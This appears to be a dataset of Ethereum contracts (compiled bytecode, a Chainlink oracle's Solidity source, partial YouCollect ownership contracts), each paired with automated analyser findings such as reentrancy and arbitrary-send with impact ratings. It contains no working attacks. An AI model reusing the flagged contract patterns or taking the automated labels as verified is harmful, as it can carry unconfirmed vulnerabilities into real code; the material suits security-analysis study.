518083038186803b15801561073357600080fd5b505afa158015610747573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076b91906117bd565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107b357600080fd5b505afa1580156107c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107eb91906117bd565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561083357600080fd5b505af1158015610847573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086b91906117bd565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061089b816104bc565b6000806108b06000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561091357600080fd5b505af1158015610927573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061094c9190611993565b5050600f80546722b1c8c1227a000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109c457600080fd5b505af11580156109d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ff919061195f565b6000546001600160a01b03163314610a265760405162461bcd60e51b815260040161041d90611a13565b60008111610a765760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161041d565b610a946064610a8e683635c9adc5dea00000846112ed565b9061136c565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b315760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161041d565b6001600160a01b038216610b925760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161041d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c575760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161041d565b6001600160a01b038216610cb95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161041d565b60008111610d1b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161041d565b6000546001600160a01b03848116911614801590610d4757506000546001600160a01b03838116911614155b15610fa857600f54600160b81b900460ff1615610e2e576001600160a01b0383163014801590610d8057506001600160a01b0382163014155b8015610d9a5750600e546001600160a01b03848116911614155b8015610db45750600e546001600160a01b03838116911614155b15610e2e57600e546001600160a01b0316336001600160a01b03161480610dee5750600f546001600160a01b0316336001600160a01b0316145b610e2e5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015260640161041d565b601054811115610e3d57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610e7f57506001600160a01b0382166000908152600a602052604090205460ff16155b610e8857600080fd5b600f546001600160a01b038481169116148015610eb35750600e546001600160a01b03838116911614155b8015610ed857506001600160a01b03821660009081526005602052604090205460ff16155b8015610eed5750600f54600160b81b900460ff165b15610f3b576001600160a01b0382166000908152600b60205260409020544211610f1657600080fd5b610f2142603c611ab8565b6001600160a01b0383166000908152600b60205260409020555b6000610f46306104bc565b600f54909150600160a81b900460ff16158015610f715750600f546001600160a01b03858116911614155b8015610f865750600f54600160b01b900460ff165b15610fa657610f9481611148565b478015610fa457610fa44761103f565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610fea57506001600160a01b03831660009081526005602052604090205460ff165b15610ff3575060005b610fff848484846113ae565b50505050565b600081848411156110295760405162461bcd60e51b815260040161041d91906119c0565b5060006110368486611b0f565b95945050505050565b600c546001600160a01b03166108fc61105983600261136c565b6040518115909202916000818181858888f19350505050158015611081573d6000803e3d6000fd5b50600d546001600160a01b03166108fc61109c83600261136c565b6040518115909202916000818181858888f193505050501580156105ff573d6000803e3d6000fd5b600060065482111561112b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161041d565b60006111356113d9565b9050611141838261136c565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061119e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156111f257600080fd5b505afa158015611206573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061122a91906117bd565b8160018151811061124b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112719130911684610acf565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112aa908590600090869030904290600401611a48565b600060405180830381600087803b1580156112c457600080fd5b505af11580156112d8573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000826112fc57506000610384565b60006113088385611af0565b9050826113158583611ad0565b146111415760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161041d565b600061114183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113fc565b806113bb576113bb61142a565b6113c684848461144d565b80610fff57610fff600060085560098055565b60008060006113e6611544565b90925090506113f5828261136c565b9250505090565b6000818361141d5760405162461bcd60e51b815260040161041d91906119c0565b5060006110368486611ad0565b60085415801561143a5750600954155b1561144157565b60006008819055600955565b60008060008060008061145f87611586565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061149190876115e3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114c09086611625565b6001600160a01b0389166000908152600260205260409020556114e281611684565b6114ec84836116ce565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161153191815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea00000611560828261136c565b82101561157d57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115a38a6008546009546116f2565b92509250925060006115b36113d9565b905060008060006115c68e878787611741565b919e509c509a509598509396509194505050505091939550919395565b600061114183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611005565b6000806116328385611ab8565b9050838110156111415760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161041d565b600061168e6113d9565b9050600061169c83836112ed565b306000908152600260205260409020549091506116b99082611625565b30600090815260026020526040902055505050565b6006546116db90836115e3565b6006556007546116eb9082611625565b6007555050565b60008080806117066064610a8e89896112ed565b905060006117196064610a8e8a896112ed565b905060006117318261172b8b866115e3565b906115e3565b9992985090965090945050505050565b600080808061175088866112ed565b9050600061175e88876112ed565b9050600061176c88886112ed565b9050600061177e8261172b86866115e3565b939b939a50919850919650505050505050565b803561179c81611b6d565b919050565b6000602082840312156117b2578081fd5b813561114181611b6d565b6000602082840312156117ce578081fd5b815161114181611b6d565b600080604083850312156117eb578081fd5b82356117f681611b6d565b9150602083013561180681611b6d565b809150509250929050565b600080600060608486031215611825578081fd5b833561183081611b6d565b9250602084013561184081611b6d565b929592945050506040919091013590565b60008060408385031215611863578182fd5b823561186e81611b6d565b946020939093013593505050565b6000602080838503121561188e578182fd5b823567ffffffffffffffff808211156118a5578384fd5b818501915085601f8301126118b8578384fd5b8135818111156118ca576118ca611b57565b8060051b604051601f19603f830116810181811085821117156118ef576118ef611b57565b604052828152858101935084860182860187018a101561190d578788fd5b8795505b838610156119365761192281611791565b855260019590950194938601938601611911565b5098975050505050505050565b600060208284031215611954578081fd5b813561114181611b82565b600060208284031215611970578081fd5b815161114181611b82565b60006020828403121561198c578081fd5b5035919050565b6000806000606084860312156119a7578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156119ec578581018301518582016040015282016119d0565b818111156119fd5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611a975784516001600160a01b031683529383019391830191600101611a72565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611acb57611acb611b41565b500190565b600082611aeb57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b0a57611b0a611b41565b500290565b600082821015611b2157611b21611b41565b500390565b6000600019821415611b3a57611b3a611b41565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104b957600080fd5b80151581146104b957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b1aea32640df79348cad7df17cb4ff4197dfc284b314fef17a25f76a6cc9fbc964736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,613 |
0x90612f96f7bceb4c273ad5bdef2c7178396a06c2 | // SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.0;
interface IOracle {
function value() external view returns (int256, bool);
function update() external returns (bool);
}
/// @notice Emitted when paused
error Pausable__whenNotPaused_paused();
/// @notice Emitted when not paused
error Pausable__whenPaused_notPaused();
/// @title Guarded
/// @notice Mixin implementing an authentication scheme on a method level
abstract contract Guarded {
/// ======== Custom Errors ======== ///
error Guarded__notRoot();
error Guarded__notGranted();
/// ======== Storage ======== ///
/// @notice Wildcard for granting a caller to call every guarded method
bytes32 public constant ANY_SIG = keccak256("ANY_SIG");
/// @notice Wildcard for granting a caller to call every guarded method
address public constant ANY_CALLER =
address(uint160(uint256(bytes32(keccak256("ANY_CALLER")))));
/// @notice Mapping storing who is granted to which method
/// @dev Method Signature => Caller => Bool
mapping(bytes32 => mapping(address => bool)) private _canCall;
/// ======== Events ======== ///
event AllowCaller(bytes32 sig, address who);
event BlockCaller(bytes32 sig, address who);
constructor() {
// set root
_setRoot(msg.sender);
}
/// ======== Auth ======== ///
modifier callerIsRoot() {
if (_canCall[ANY_SIG][msg.sender]) {
_;
} else revert Guarded__notRoot();
}
modifier checkCaller() {
if (canCall(msg.sig, msg.sender)) {
_;
} else revert Guarded__notGranted();
}
/// @notice Grant the right to call method `sig` to `who`
/// @dev Only the root user (granted `ANY_SIG`) is able to call this method
/// @param sig_ Method signature (4Byte)
/// @param who_ Address of who should be able to call `sig`
function allowCaller(bytes32 sig_, address who_) public callerIsRoot {
_canCall[sig_][who_] = true;
emit AllowCaller(sig_, who_);
}
/// @notice Revoke the right to call method `sig` from `who`
/// @dev Only the root user (granted `ANY_SIG`) is able to call this method
/// @param sig_ Method signature (4Byte)
/// @param who_ Address of who should not be able to call `sig` anymore
function blockCaller(bytes32 sig_, address who_) public callerIsRoot {
_canCall[sig_][who_] = false;
emit BlockCaller(sig_, who_);
}
/// @notice Returns if `who` can call `sig`
/// @param sig_ Method signature (4Byte)
/// @param who_ Address of who should be able to call `sig`
function canCall(bytes32 sig_, address who_) public view returns (bool) {
return (_canCall[sig_][who_] ||
_canCall[ANY_SIG][who_] ||
_canCall[sig_][ANY_CALLER]);
}
/// @notice Sets the root user (granted `ANY_SIG`)
/// @param root_ Address of who should be set as root
function _setRoot(address root_) internal {
_canCall[ANY_SIG][root_] = true;
emit AllowCaller(ANY_SIG, root_);
}
}
contract Pausable is Guarded {
event Paused(address who);
event Unpaused(address who);
bool private _paused;
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
// If the contract is paused, throw an error
if (_paused) {
revert Pausable__whenNotPaused_paused();
}
_;
}
modifier whenPaused() {
// If the contract is not paused, throw an error
if (_paused == false) {
revert Pausable__whenPaused_notPaused();
}
_;
}
function _pause() internal whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function _unpause() internal whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
abstract contract Oracle is Pausable, IOracle {
/// @notice Emitted when a method is reentered
error Oracle__nonReentrant();
/// ======== Events ======== ///
event ValueInvalid();
event ValueUpdated(int256 currentValue, int256 nextValue);
event OracleReset();
/// ======== Storage ======== ///
// Time interval between the value updates
uint256 public immutable timeUpdateWindow;
// Timestamp of the current value
uint256 public lastTimestamp;
// The next value that will replace the current value once the timeUpdateWindow has passed
int256 public nextValue;
// Current value that will be returned by the Oracle
int256 private _currentValue;
// Flag that tells if the value provider returned successfully
bool private _validReturnedValue;
// Reentrancy constants
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
// Reentrancy guard flag
uint256 private _reentrantGuard = _NOT_ENTERED;
/// ======== Modifiers ======== ///
modifier nonReentrant() {
// Check if the guard is set
if (_reentrantGuard != _NOT_ENTERED) {
revert Oracle__nonReentrant();
}
// Set the guard
_reentrantGuard = _ENTERED;
// Allow execution
_;
// Reset the guard
_reentrantGuard = _NOT_ENTERED;
}
constructor(uint256 timeUpdateWindow_) {
timeUpdateWindow = timeUpdateWindow_;
_validReturnedValue = false;
}
/// @notice Get the current value of the oracle
/// @return The current value of the oracle
/// @return Whether the value is valid
function value()
public
view
override(IOracle)
whenNotPaused
returns (int256, bool)
{
// Value is considered valid if the value provider successfully returned a value
return (_currentValue, _validReturnedValue);
}
function getValue() external virtual returns (int256);
function update()
public
override(IOracle)
checkCaller
nonReentrant
returns (bool)
{
// Not enough time has passed since the last update
if (lastTimestamp + timeUpdateWindow > block.timestamp) {
// Exit early if no update is needed
return false;
}
// Oracle update should not fail even if the value provider fails to return a value
try this.getValue() returns (int256 returnedValue) {
// Update the value using an exponential moving average
if (_currentValue == 0) {
// First update takes the current value
nextValue = returnedValue;
_currentValue = nextValue;
} else {
// Update the current value with the next value
_currentValue = nextValue;
// Set the returnedValue as the next value
nextValue = returnedValue;
}
// Save when the value was last updated
lastTimestamp = block.timestamp;
_validReturnedValue = true;
emit ValueUpdated(_currentValue, nextValue);
return true;
} catch {
// When a value provider fails, we update the valid flag which will
// invalidate the value instantly
_validReturnedValue = false;
emit ValueInvalid();
}
return false;
}
function pause() public checkCaller {
_pause();
}
function unpause() public checkCaller {
_unpause();
}
function reset() public whenPaused checkCaller {
_currentValue = 0;
nextValue = 0;
lastTimestamp = 0;
_validReturnedValue = false;
emit OracleReset();
}
}
contract Convert {
function convert(
int256 x_,
uint256 currentPrecision_,
uint256 targetPrecision_
) internal pure returns (int256) {
if (targetPrecision_ > currentPrecision_)
return x_ * int256(10**(targetPrecision_ - currentPrecision_));
return x_ / int256(10**(currentPrecision_ - targetPrecision_));
}
function uconvert(
uint256 x_,
uint256 currentPrecision_,
uint256 targetPrecision_
) internal pure returns (uint256) {
if (targetPrecision_ > currentPrecision_)
return x_ * 10**(targetPrecision_ - currentPrecision_);
return x_ / 10**(currentPrecision_ - targetPrecision_);
}
}
// Chainlink Aggregator v3 interface
// https://github.com/smartcontractkit/chainlink/blob/6fea3ccd275466e082a22be690dbaf1609f19dce/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol
interface IChainlinkAggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
contract ChainlinkValueProvider is Oracle, Convert {
uint8 public immutable underlierDecimals;
address public chainlinkAggregatorAddress;
/// @notice Constructs the Value provider contracts with the needed Chainlink.
/// @param timeUpdateWindow_ Minimum time between updates of the value
/// @param chainlinkAggregatorAddress_ Address of the deployed chainlink aggregator contract.
constructor(
// Oracle parameters
uint256 timeUpdateWindow_,
// Chainlink specific parameter
address chainlinkAggregatorAddress_
) Oracle(timeUpdateWindow_) {
chainlinkAggregatorAddress = chainlinkAggregatorAddress_;
underlierDecimals = IChainlinkAggregatorV3Interface(
chainlinkAggregatorAddress_
).decimals();
}
/// @notice Retrieves the price from the chainlink aggregator
/// @return result The result as an signed 59.18-decimal fixed-point number.
function getValue() external view override(Oracle) returns (int256) {
// Convert the annual rate to 1e18 precision.
(, int256 answer, , , ) = IChainlinkAggregatorV3Interface(
chainlinkAggregatorAddress
).latestRoundData();
return convert(answer, underlierDecimals, 18);
}
/// @notice returns the description of the chainlink aggregator the proxy points to.
function description() external view returns (string memory) {
return
IChainlinkAggregatorV3Interface(chainlinkAggregatorAddress)
.description();
}
}
| 0x608060405234801561001057600080fd5b50600436106101365760003560e01c80635c975abb116100b2578063a2e6204511610081578063bbd91c4611610066578063bbd91c46146102cb578063ccfb9935146102f2578063d826f88f146102fb57600080fd5b8063a2e62045146102b0578063a746d489146102b857600080fd5b80635c975abb1461026157806369e7f01b1461026c5780637284e416146102935780638456cb59146102a857600080fd5b8063356cd90a116101095780633fa4f245116100ee5780633fa4f245146101dc5780634c8136eb146101f957806352b43adf1461023e57600080fd5b8063356cd90a1461019b5780633f4ba83a146101d457600080fd5b8063012abbe91461013b57806319d8ac6114610150578063209652551461016c5780632936ff2b14610174575b600080fd5b61014e610149366004610bdb565b610303565b005b61015960025481565b6040519081526020015b60405180910390f35b6101596103e0565b6101597f13eb61d6467453b8d8e0d2a40b8dcee776dde376f951013dfdab1b9189651b6181565b6101c27f000000000000000000000000000000000000000000000000000000000000000881565b60405160ff9091168152602001610163565b61014e6104af565b6101e461051e565b60408051928352901515602083015201610163565b6007546102199073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610163565b61025161024c366004610bdb565b61056f565b6040519015158152602001610163565b60015460ff16610251565b6101597f0000000000000000000000000000000000000000000000000000000000000e1081565b61029b61062e565b6040516101639190610c54565b61014e6106e9565b610251610724565b61014e6102c6366004610bdb565b61092a565b6102197f48a48edb17b6277f3d9897feeb510d1503580c3997a055cb5a635e86f81c243a81565b61015960035481565b61014e6109d0565b3360009081527f107ee6c9edf8142ba51e10023f320f7b6ccd180a42be95ddbc18c0e5425b2900602052604090205460ff16156103ae5760008281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff851680855290835292819020805460ff191690558051858152918201929092527faec761575684e54a883064093131de012d7a9e8fc898f13474e50fcfbdce7d0b91015b60405180910390a15050565b6040517f6d6b83b300000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600080600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663feaf968c6040518163ffffffff1660e01b815260040160a060405180830381865afa158015610450573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104749190610cc4565b5050509150506104a9817f000000000000000000000000000000000000000000000000000000000000000860ff166012610a88565b91505090565b6104dd7fffffffff00000000000000000000000000000000000000000000000000000000600035163361056f565b156104ec576104ea610ae1565b565b6040517faa68b5bf00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600154600090819060ff1615610560576040517fa3d4575400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b505060045460055460ff169091565b60008281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff8516845290915281205460ff16806105ef575073ffffffffffffffffffffffffffffffffffffffff821660009081527f107ee6c9edf8142ba51e10023f320f7b6ccd180a42be95ddbc18c0e5425b2900602052604090205460ff165b80610625575060008381526020818152604080832073eb510d1503580c3997a055cb5a635e86f81c243a845290915290205460ff165b90505b92915050565b600754604080517f7284e416000000000000000000000000000000000000000000000000000000008152905160609273ffffffffffffffffffffffffffffffffffffffff1691637284e4169160048083019260009291908290030181865afa15801561069e573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682016040526106e49190810190610d43565b905090565b6107177fffffffff00000000000000000000000000000000000000000000000000000000600035163361056f565b156104ec576104ea610b62565b60006107537fffffffff000000000000000000000000000000000000000000000000000000008235163361056f565b156104ec57600160065414610794576040517f890ffdfc00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600260068190555442906107c9907f0000000000000000000000000000000000000000000000000000000000000e1090610e3d565b11156107d757506000610922565b3073ffffffffffffffffffffffffffffffffffffffff1663209652556040518163ffffffff1660e01b81526004016020604051808303816000875af192505050801561085e575060408051601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820190925261085b91810190610e55565b60015b61089a576005805460ff191690556040517f590d70f1f3f1063f809b4c86f7187d3f04850146c3df8b63e43dd3639cee8b5090600090a161091e565b6004546000036108b357600381905560048190556108be565b600380546004558190555b426002556005805460ff191660011790556004546003546040517fb8ba758880724160775cc09f9aa6f15e3d6be6aed023b548a74a72981f806f639261090c92908252602082015260400190565b60405180910390a16001915050610922565b5060005b600160065590565b3360009081527f107ee6c9edf8142ba51e10023f320f7b6ccd180a42be95ddbc18c0e5425b2900602052604090205460ff16156103ae5760008281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff851680855290835292819020805460ff191660011790558051858152918201929092527f9c21fb13a2f9c0e9222fe9a6810fe483b60248132981e1e0554bae602e93a9dd91016103a2565b60015460ff161515600003610a11576040517f2d09625000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b610a3f7fffffffff00000000000000000000000000000000000000000000000000000000600035163361056f565b156104ec5760006004819055600381905560028190556005805460ff191690556040517fc0d3abef853c24900b5092a44863227a9bf7529e8a54373f976eaa231fafecbe9190a1565b600082821115610ab857610a9c8383610e6e565b610aa790600a610fa5565b610ab19085610fb1565b9050610ada565b610ac28284610e6e565b610acd90600a610fa5565b610ad7908561106d565b90505b9392505050565b60015460ff161515600003610b22576040517f2d09625000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001805460ff191690556040513381527f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa906020015b60405180910390a1565b60015460ff1615610b9f576040517fa3d4575400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001805460ff1916811790556040513381527f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25890602001610b58565b60008060408385031215610bee57600080fd5b82359150602083013573ffffffffffffffffffffffffffffffffffffffff81168114610c1957600080fd5b809150509250929050565b60005b83811015610c3f578181015183820152602001610c27565b83811115610c4e576000848401525b50505050565b6020815260008251806020840152610c73816040850160208701610c24565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b805169ffffffffffffffffffff81168114610cbf57600080fd5b919050565b600080600080600060a08688031215610cdc57600080fd5b610ce586610ca5565b9450602086015193506040860151925060608601519150610d0860808701610ca5565b90509295509295909350565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600060208284031215610d5557600080fd5b815167ffffffffffffffff80821115610d6d57600080fd5b818401915084601f830112610d8157600080fd5b815181811115610d9357610d93610d14565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f01168101908382118183101715610dd957610dd9610d14565b81604052828152876020848701011115610df257600080fd5b610e03836020830160208801610c24565b979650505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008219821115610e5057610e50610e0e565b500190565b600060208284031215610e6757600080fd5b5051919050565b600082821015610e8057610e80610e0e565b500390565b600181815b80851115610ede57817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04821115610ec457610ec4610e0e565b80851615610ed157918102915b93841c9390800290610e8a565b509250929050565b600082610ef557506001610628565b81610f0257506000610628565b8160018114610f185760028114610f2257610f3e565b6001915050610628565b60ff841115610f3357610f33610e0e565b50506001821b610628565b5060208310610133831016604e8410600b8410161715610f61575081810a610628565b610f6b8383610e85565b807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04821115610f9d57610f9d610e0e565b029392505050565b60006106258383610ee6565b60007f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600084136000841385830485118282161615610ff257610ff2610e0e565b7f8000000000000000000000000000000000000000000000000000000000000000600087128682058812818416161561102d5761102d610e0e565b6000871292508782058712848416161561104957611049610e0e565b8785058712818416161561105f5761105f610e0e565b505050929093029392505050565b6000826110a3577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff83147f8000000000000000000000000000000000000000000000000000000000000000831416156110f7576110f7610e0e565b50059056fea26469706673582212205a01feed6700ed0df43830353fae5193c099f4f26bf4010525b021e7828999eb64736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 9,614 |
0x7d7af2744eef43e2b4831c221a96dcfe099810e2 | pragma solidity ^0.4.18;
contract InterfaceContentCreatorUniverse {
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function priceOf(uint256 _tokenId) public view returns (uint256 price);
function getNextPrice(uint price, uint _tokenId) public pure returns (uint);
function lastSubTokenBuyerOf(uint tokenId) public view returns(address);
function lastSubTokenCreatorOf(uint tokenId) public view returns(address);
//
function createCollectible(uint256 tokenId, uint256 _price, address creator, address owner) external ;
}
contract InterfaceYCC {
function payForUpgrade(address user, uint price) external returns (bool success);
function mintCoinsForOldCollectibles(address to, uint256 amount, address universeOwner) external returns (bool success);
function tradePreToken(uint price, address buyer, address seller, uint burnPercent, address universeOwner) external;
function payoutForMining(address user, uint amount) external;
uint256 public totalSupply;
}
contract InterfaceMining {
function createMineForToken(uint tokenId, uint level, uint xp, uint nextLevelBreak, uint blocknumber) external;
function payoutMining(uint tokenId, address owner, address newOwner) external;
function levelUpMining(uint tokenId) external;
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Owned {
// The addresses of the accounts (or contracts) that can execute actions within each roles.
address public ceoAddress;
address public cooAddress;
address private newCeoAddress;
address private newCooAddress;
function Owned() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
}
/*** ACCESS MODIFIERS ***/
/// @dev Access modifier for CEO-only functionality
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
/// @dev Access modifier for COO-only functionality
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
/// Access modifier for contract owner only functionality
modifier onlyCLevel() {
require(
msg.sender == ceoAddress ||
msg.sender == cooAddress
);
_;
}
/// @dev Assigns a new address to act as the CEO. Only available to the current CEO.
/// @param _newCEO The address of the new CEO
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
newCeoAddress = _newCEO;
}
/// @dev Assigns a new address to act as the COO. Only available to the current COO.
/// @param _newCOO The address of the new COO
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0));
newCooAddress = _newCOO;
}
function acceptCeoOwnership() public {
require(msg.sender == newCeoAddress);
require(address(0) != newCeoAddress);
ceoAddress = newCeoAddress;
newCeoAddress = address(0);
}
function acceptCooOwnership() public {
require(msg.sender == newCooAddress);
require(address(0) != newCooAddress);
cooAddress = newCooAddress;
newCooAddress = address(0);
}
mapping (address => bool) public youCollectContracts;
function addYouCollectContract(address contractAddress, bool active) public onlyCOO {
youCollectContracts[contractAddress] = active;
}
modifier onlyYCC() {
require(youCollectContracts[msg.sender]);
_;
}
InterfaceYCC ycc;
InterfaceContentCreatorUniverse yct;
InterfaceMining ycm;
function setMainYouCollectContractAddresses(address yccContract, address yctContract, address ycmContract, address[] otherContracts) public onlyCOO {
ycc = InterfaceYCC(yccContract);
yct = InterfaceContentCreatorUniverse(yctContract);
ycm = InterfaceMining(ycmContract);
youCollectContracts[yccContract] = true;
youCollectContracts[yctContract] = true;
youCollectContracts[ycmContract] = true;
for (uint16 index = 0; index < otherContracts.length; index++) {
youCollectContracts[otherContracts[index]] = true;
}
}
function setYccContractAddress(address yccContract) public onlyCOO {
ycc = InterfaceYCC(yccContract);
youCollectContracts[yccContract] = true;
}
function setYctContractAddress(address yctContract) public onlyCOO {
yct = InterfaceContentCreatorUniverse(yctContract);
youCollectContracts[yctContract] = true;
}
function setYcmContractAddress(address ycmContract) public onlyCOO {
ycm = InterfaceMining(ycmContract);
youCollectContracts[ycmContract] = true;
}
}
contract TransferInterfaceERC721YC {
